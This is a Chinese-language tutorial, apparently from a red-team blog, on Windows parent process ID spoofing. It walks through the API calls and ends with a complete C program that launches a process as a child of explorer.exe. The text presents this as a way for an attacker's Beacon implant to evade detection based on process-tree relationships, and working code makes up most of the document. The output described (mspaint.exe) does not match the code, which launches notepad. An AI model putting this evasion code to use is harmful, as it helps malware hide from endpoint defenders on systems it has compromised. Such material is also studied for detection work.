父进程欺骗

父进程欺骗是一种允许攻击者使用任意父进程启动程序的技术，这有助于使攻击者的程序看起来是由另一个进程生成的，有助于规避基于父子进程关系的检测，尤其是当我们的 Beacon 在非常规的进程下运行，进程的创建事件会引发警告。默认情况下，交互式用户启动的大多数程序都将为 explorer.exe 的子进程。

父进程欺骗可以由以下步骤实现：

指定父进程的名称或者 PID。这里，我们是指定的名称，如果相同名称的进程存在多个实例，那么取第一个。这里用到 CreateToolhelp32Snapshot 函数，用于创建给定进程的快照。

HANDLE CreateToolhelp32Snapshot(

 [in] DWORD dwFlags,

 [in] DWORD th32ProcessID

);

TH32CS_SNAPPROCESS 常数表示包含系统的所有进程。然后通过 Process32First 函数来枚举进程。

BOOL Process32First(

 [in] HANDLE hSnapshot,

 [in, out] LPPROCESSENTRY32 lppe

);

逐一比较进程名称，如果找到，返回第一个实例的 PID。这部分的代码如下：

DWORD FindExplorerProcessId()

{

 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

 if (hSnapshot)

 {

 PROCESSENTRY32 pe32;

 pe32.dwSize = sizeof(PROCESSENTRY32);

 if (Process32First(hSnapshot, &pe32))

 {

 do

 {

 if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)

 {

 CloseHandle(hSnapshot);

 return pe32.th32ProcessID; // Returns the first instance's PID

 }

 } while (Process32Next(hSnapshot, &pe32));

 }

 CloseHandle(hSnapshot);

 }

 return 0;

}

一切顺利的话，我们会获得父进程的 PID，通过 OpenProcess 函数获得其句柄。

HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);

结构体 STARTUPINFOEX 有着 lpAttributeList 成员，得以让我们传递额外的属性给 CreateProcess 函数调用。

typedef struct _STARTUPINFOEXW {

 STARTUPINFOW StartupInfo;

 LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;

} STARTUPINFOEXW, *LPSTARTUPINFOEXW;

为了实现父进程伪造，该属性应当为 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS。

BOOL InitializeProcThreadAttributeList(

 [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,

 [in] DWORD dwAttributeCount,

 DWORD dwFlags,

 [in, out] PSIZE_T lpSize

);

第一次调用 InitializeProcThreadAttributeList 函数，设置参数 lpAttributeList 为 NULL，这会让我们获得属性列表的正确尺寸。

SIZE_T attributeSize;

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);

然后，尺寸被保存在 attributeSize 变量中。为 LPPROC_THREAD_ATTRIBUTE_LIST 数据 (lpAttributeList 指针所指向)分配空间，然后再次调用 InitializeProcThreadAttributeList 函数来初始化进程的属性列表。

si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);

InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

有了父进程的句柄，然后调用 UpdateProcThreadAttribute 函数更新属性列表。函数原型如下：

BOOL UpdateProcThreadAttribute(

 [in, out] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,

 [in] DWORD dwFlags,

 [in] DWORD_PTR Attribute,

 [in] PVOID lpValue,

 [in] SIZE_T cbSize,

 [out, optional] PVOID lpPreviousValue,

 [in, optional] PSIZE_T lpReturnSize

);

创建更新了属性列表之后的进程，dwCreationFlags 设置为 EXTENDED_STARTUPINFO_PRESENT。

UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

最终代码如下：

#include <windows.h>

#include <TlHelp32.h>

#include <iostream>

DWORD FindExplorerProcessId()

{

 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

 if (hSnapshot)

 {

 PROCESSENTRY32 pe32;

 pe32.dwSize = sizeof(PROCESSENTRY32);

 if (Process32First(hSnapshot, &pe32))

 {

 do

 {

 if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)

 {

 CloseHandle(hSnapshot);

 return pe32.th32ProcessID; // Returns the first instance's PID

 }

 } while (Process32Next(hSnapshot, &pe32));

 }

 CloseHandle(hSnapshot);

 }

 return 0;

}

int main()

{

 DWORD pid = FindExplorerProcessId();

 if (pid != 0)

 {

 printf("The PID of the first instance of explorer.exe: %lu\n", pid);

 }

 else

 {

 printf("explorer.exe is not running.\n");

 }

	STARTUPINFOEXA si;

	PROCESS_INFORMATION pi;

	SIZE_T attributeSize;

	ZeroMemory(&si, sizeof(STARTUPINFOEXA));

	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);

	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);

	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;

}

查看当前的 explorer.exe 进程，有着诸多子进程，包括即将运行该程序的 cmd.exe。

如果没有父进程欺骗，那么进程树的关系应该是 explorer.exe -> cmd.exe -> ppid_spoofing.exe -> mspaint.exe。

我们看到，程序得以正确运行，mspaint.exe 成了 explorer.exe 的直接子进程。

